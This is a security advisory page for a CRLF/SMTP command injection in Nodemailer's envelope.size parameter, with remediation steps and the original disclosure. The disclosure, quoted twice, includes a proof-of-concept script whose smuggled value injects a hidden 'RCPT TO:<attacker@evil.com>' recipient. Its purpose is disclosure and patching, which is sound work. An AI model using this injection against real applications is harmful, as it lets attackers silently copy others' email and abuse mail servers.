GHSA-c7w3-x93f-qmm8: Nodemailer Nodemailer Has SMTP Command Injection Vulnerability

LOW
CWE-93
Published
Advisory Summary

GHSA-c7w3-x93f-qmm8 is a LOW nodemailer has smtp command injection vulnerability (CWE-93: Improper Neutralization of CRLF Sequences ('CRLF Injection')) affecting Nodemailer libraries in the npm ecosystem. The issue involves nodemailer has smtp command injection due to unsanitized `envelope.size` parameter. Remediation is available by upgrading affected packages to version 8.0.4.

GHSA-c7w3-x93f-qmm8 at a Glance

CVE Identifier N/A
GHSA Identifier GHSA-c7w3-x93f-qmm8
Severity LOW
CVSS v3.1 Base Score N/A
CWE Classification CWE-93: Improper Neutralization of CRLF Sequences ('CRLF Injection')
Affected Product Nodemailer
Package Ecosystem npm
Published Date
Last Updated

How to Fix GHSA-c7w3-x93f-qmm8

To remediate this vulnerability, upgrade all affected Nodemailer dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

nodemailer fixed: 8.0.4
npm install nodemailer@8.0.4
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls nodemailer

How to Check if You Are Affected

To determine whether your Node.js application is affected by GHSA-c7w3-x93f-qmm8, inspect your project dependencies using npm:

npm ls nodemailer

Analyze the terminal output to locate any version of Nodemailer in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 8.0.4), your application is affected.

Note: The npm ls nodemailer command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-93: Improper Neutralization of CRLF Sequences ('CRLF Injection'), where the product uses crlf (carriage return line feeds) as a special element, e.g. to separate lines or records, but it does not neutralize or incorrectly neutralizes crlf sequences from inputs. In Nodemailer, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary When a custom `envelope` object is passed to `sendMail()` with a `size` property containing CRLF characters (`\r\n`), the value is concatenated directly into the SMTP `MAIL FROM` command without sanitization. This allows injection of arbitrary SMTP commands, including `RCPT TO` — silently adding attacker-controlled recipients to outgoing emails. ### Details In `lib/smtp-connection/index.js` (lines 1161-1162), the `envelope.size` value is concatenated into the SMTP `MAIL FROM` command without any CRLF sanitization: ```javascript if (this._envelope.size && this._supportedExtensions.includes('SIZE')) { args.push('SIZE=' + this._envelope.size); } ``` This contrasts with other envelope parameters in the same function that ARE properly sanitized: - **Addresses** (`from`, `to`): validated for `[\r\n<>]` at lines 1107-1127 - **DSN parameters** (`dsn.ret`, `dsn.envid`, `dsn.orcpt`): encoded via `encodeXText()` at lines 1167-1183 The `size` property reaches this code path through `MimeNode.setEnvelope()` in `lib/mime-node/index.js` (lines 854-858), which copies all non-standard envelope properties verbatim: ```javascript const standardFields = ['to', 'cc', 'bcc', 'from']; Object.keys(envelope).forEach(key => { if (!standardFields.includes(key)) { this._envelope[key] = envelope[key]; } }); ``` Since `_sendCommand()` writes the command string followed by `\r\n` to the raw TCP socket, a CRLF in the `size` value terminates the `MAIL FROM` command and starts a new SMTP command. Note: by default, Nodemailer constructs the envelope automatically from the message's `from`/`to` fields and does not include `size`. This vulnerability requires the application to explicitly pass a custom `envelope` object with a `size` property to `sendMail()`. While this limits the attack surface, applications that expose envelope configuration to users are affected. ### PoC ave the following as `poc.js` and run with `node poc.js`: ```javascript const net = require('net'); const nodemailer = require('nodemailer'); // Minimal SMTP server that logs raw commands const server = net.createServer(socket => { socket.write('220 localhost ESMTP\r\n'); let buffer = ''; socket.on('data', chunk => { buffer += chunk.toString(); const lines = buffer.split('\r\n'); buffer = lines.pop(); for (const line of lines) { if (!line) continue; console.log('C:', line); if (line.startsWith('EHLO')) { socket.write('250-localhost\r\n250-SIZE 10485760\r\n250 OK\r\n'); } else if (line.startsWith('MAIL FROM')) { socket.write('250 OK\r\n'); } else if (line.startsWith('RCPT TO')) { socket.write('250 OK\r\n'); } else if (line === 'DATA') { socket.write('354 Start\r\n'); } else if (line === '.') { socket.write('250 OK\r\n'); } else if (line.startsWith('QUIT')) { socket.write('221 Bye\r\n'); socket.end(); } } }); }); server.listen(0, '127.0.0.1', () => { const port = server.address().port; console.log('SMTP server on port', port); console.log('Sending email with injected RCPT TO...\n'); const transporter = nodemailer.createTransport({ host: '127.0.0.1', port, secure: false, tls: { rejectUnauthorized: false }, }); transporter.sendMail({ from: 'sender@example.com', to: 'recipient@example.com', subject: 'Normal email', text: 'This is a normal email.', envelope: { from: 'sender@example.com', to: ['recipient@example.com'], size: '100\r\nRCPT TO:<attacker@evil.com>', }, }, (err) => { if (err) console.error('Error:', err.message); console.log('\nExpected output above:'); console.log(' C: MAIL FROM:<sender@example.com> SIZE=100'); console.log(' C: RCPT TO:<attacker@evil.com> <-- INJECTED'); console.log(' C: RCPT TO:<recipient@example.com>'); server.close(); transporter.close(); }); }); ``` **Expected output:** ``` SMTP server on port 12345 Sending email with injected RCPT TO... C: EHLO [127.0.0.1] C: MAIL FROM:<sender@example.com> SIZE=100 C: RCPT TO:<attacker@evil.com> C: RCPT TO:<recipient@example.com> C: DATA ... C: . C: QUIT ``` The `RCPT TO:<attacker@evil.com>` line is injected by the CRLF in the `size` field, silently adding an extra recipient to the email. ### Impact This is an SMTP command injection vulnerability. An attacker who can influence the `envelope.size` property in a `sendMail()` call can: - **Silently add hidden recipients** to outgoing emails via injected `RCPT TO` commands, receiving copies of all emails sent through the affected transport - **Inject arbitrary SMTP commands** (e.g., `RSET`, additional `MAIL FROM` to send entirely separate emails through the server) - **Leverage the sending organization's SMTP server reputation** for spam or phishing delivery The severity is mitigated by the fact that the `envelope` object must be explicitly provided by the application. Nodemailer's default envelope construction from message headers does not include `size`. Applications that pass through user-controlled data to the envelope options (e.g., via API parameters, admin panels, or template configurations) are vulnerable. Affected versions: at least v8.0.3 (current); likely all versions where `envelope.size` is supported.

GHSA-c7w3-x93f-qmm8 Affected Nodemailer Versions

1 component(s)
Fixed Versions:
8.0.4
Product / Package Ecosystem Affected Versions Fixed Version
nodemailer
npm
< 8.0.4
8.0.4

References

Frequently Asked Questions

What is GHSA-c7w3-x93f-qmm8?
GHSA-c7w3-x93f-qmm8 is a security vulnerability in Nodemailer involving Nodemailer has SMTP command injection due to unsanitized `envelope.size` parameter under CWE-93: Improper Neutralization of CRLF Sequences ('CRLF Injection').
Which Nodemailer versions are affected?
Affected versions include releases prior to 8.0.4 across affected packages: nodemailer.
What version fixes GHSA-c7w3-x93f-qmm8?
Upgrading to 8.0.4 (or the latest patched release for your respective branch) resolves the vulnerability.
Is nodemailer affected?
Yes, nodemailer is affected in releases prior to 8.0.4. Upgrade your dependency to 8.0.4 or later.
What CWE is associated with GHSA-c7w3-x93f-qmm8?
GHSA-c7w3-x93f-qmm8 is classified under CWE-93: Improper Neutralization of CRLF Sequences ('CRLF Injection') (The product uses CRLF (carriage return line feeds) as a special element, e.g. to separate lines or records, but it does not neutralize or incorrectly neutralizes CRLF sequences from inputs.).
How can I check npm dependencies for GHSA-c7w3-x93f-qmm8?
Run the dependency tree command: 'npm ls nodemailer'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-c7w3-x93f-qmm8",
  "modified" : "2026-03-26T22:26:46Z",
  "published" : "2026-03-26T22:26:46Z",
  "aliases" : [ ],
  "summary" : "Nodemailer has SMTP command injection due to unsanitized `envelope.size` parameter",
  "details" : "### Summary\nWhen a custom `envelope` object is passed to `sendMail()` with a `size` property containing CRLF characters (`\\r\\n`), the value is concatenated directly into the SMTP `MAIL FROM` command without sanitization. This allows injection of arbitrary SMTP commands, including `RCPT TO` — silently adding attacker-controlled recipients to outgoing emails.\n\n\n### Details\nIn `lib/smtp-connection/index.js` (lines 1161-1162), the `envelope.size` value is concatenated into the SMTP `MAIL FROM` command without any CRLF sanitization:\n\n```javascript\nif (this._envelope.size && this._supportedExtensions.includes('SIZE')) {\n    args.push('SIZE=' + this._envelope.size);\n}\n```\n\nThis contrasts with other envelope parameters in the same function that ARE properly sanitized:\n- **Addresses** (`from`, `to`): validated for `[\\r\\n<>]` at lines 1107-1127\n- **DSN parameters** (`dsn.ret`, `dsn.envid`, `dsn.orcpt`): encoded via `encodeXText()` at lines 1167-1183\n\nThe `size` property reaches this code path through `MimeNode.setEnvelope()` in `lib/mime-node/index.js` (lines 854-858), which copies all non-standard envelope properties verbatim:\n\n```javascript\nconst standardFields = ['to', 'cc', 'bcc', 'from'];\nObject.keys(envelope).forEach(key => {\n    if (!standardFields.includes(key)) {\n        this._envelope[key] = envelope[key];\n    }\n});\n```\n\nSince `_sendCommand()` writes the command string followed by `\\r\\n` to the raw TCP socket, a CRLF in the `size` value terminates the `MAIL FROM` command and starts a new SMTP command.\n\nNote: by default, Nodemailer constructs the envelope automatically from the message's `from`/`to` fields and does not include `size`. This vulnerability requires the application to explicitly pass a custom `envelope` object with a `size` property to `sendMail()`. \nWhile this limits the attack surface, applications that expose envelope configuration to users are affected.\n\n### PoC\nave the following as `poc.js` and run with `node poc.js`:\n\n```javascript\nconst net = require('net');\nconst nodemailer = require('nodemailer');\n\n// Minimal SMTP server that logs raw commands\nconst server = net.createServer(socket => {\n    socket.write('220 localhost ESMTP\\r\\n');\n    let buffer = '';\n    socket.on('data', chunk => {\n        buffer += chunk.toString();\n        const lines = buffer.split('\\r\\n');\n        buffer = lines.pop();\n        for (const line of lines) {\n            if (!line) continue;\n            console.log('C:', line);\n            if (line.startsWith('EHLO')) {\n                socket.write('250-localhost\\r\\n250-SIZE 10485760\\r\\n250 OK\\r\\n');\n            } else if (line.startsWith('MAIL FROM')) {\n                socket.write('250 OK\\r\\n');\n            } else if (line.startsWith('RCPT TO')) {\n                socket.write('250 OK\\r\\n');\n            } else if (line === 'DATA') {\n                socket.write('354 Start\\r\\n');\n            } else if (line === '.') {\n                socket.write('250 OK\\r\\n');\n            } else if (line.startsWith('QUIT')) {\n                socket.write('221 Bye\\r\\n');\n                socket.end();\n            }\n        }\n    });\n});\n\nserver.listen(0, '127.0.0.1', () => {\n    const port = server.address().port;\n    console.log('SMTP server on port', port);\n    console.log('Sending email with injected RCPT TO...\\n');\n\n    const transporter = nodemailer.createTransport({\n        host: '127.0.0.1',\n        port,\n        secure: false,\n        tls: { rejectUnauthorized: false },\n    });\n\n    transporter.sendMail({\n        from: 'sender@example.com',\n        to: 'recipient@example.com',\n        subject: 'Normal email',\n        text: 'This is a normal email.',\n        envelope: {\n            from: 'sender@example.com',\n            to: ['recipient@example.com'],\n            size: '100\\r\\nRCPT TO:<attacker@evil.com>',\n        },\n    }, (err) => {\n        if (err) console.error('Error:', err.message);\n        console.log('\\nExpected output above:');\n        console.log('  C: MAIL FROM:<sender@example.com> SIZE=100');\n        console.log('  C: RCPT TO:<attacker@evil.com>        <-- INJECTED');\n        console.log('  C: RCPT TO:<recipient@example.com>');\n        server.close();\n        transporter.close();\n    });\n});\n```\n\n**Expected output:**\n```\nSMTP server on port 12345\nSending email with injected RCPT TO...\n\nC: EHLO [127.0.0.1]\nC: MAIL FROM:<sender@example.com> SIZE=100\nC: RCPT TO:<attacker@evil.com>\nC: RCPT TO:<recipient@example.com>\nC: DATA\n...\nC: .\nC: QUIT\n```\n\nThe `RCPT TO:<attacker@evil.com>` line is injected by the CRLF in the `size` field, silently adding an extra recipient to the email.\n\n### Impact\nThis is an SMTP command injection vulnerability. An attacker who can influence the `envelope.size` property in a `sendMail()` call can:\n\n- **Silently add hidden recipients** to outgoing emails via injected `RCPT TO` commands, receiving copies of all emails sent through the affected transport\n- **Inject arbitrary SMTP commands** (e.g., `RSET`, additional `MAIL FROM` to send entirely separate emails through the server)\n- **Leverage the sending organization's SMTP server reputation** for spam or phishing delivery\n\nThe severity is mitigated by the fact that the `envelope` object must be explicitly provided by the application. Nodemailer's default envelope construction from message headers does not include `size`. Applications that pass through user-controlled data to the envelope options (e.g., via API parameters, admin panels, or template configurations) are vulnerable.\n\nAffected versions: at least v8.0.3 (current); likely all versions where `envelope.size` is supported.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "nodemailer"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "8.0.4"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/nodemailer/nodemailer/security/advisories/GHSA-c7w3-x93f-qmm8"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/nodemailer/nodemailer/commit/2d7b9710e63555a1eb13d721296c51186d4b5651"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/nodemailer/nodemailer"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-93" ],
    "severity" : "LOW",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-26T22:26:46Z",
    "nvd_published_at" : null
  }
}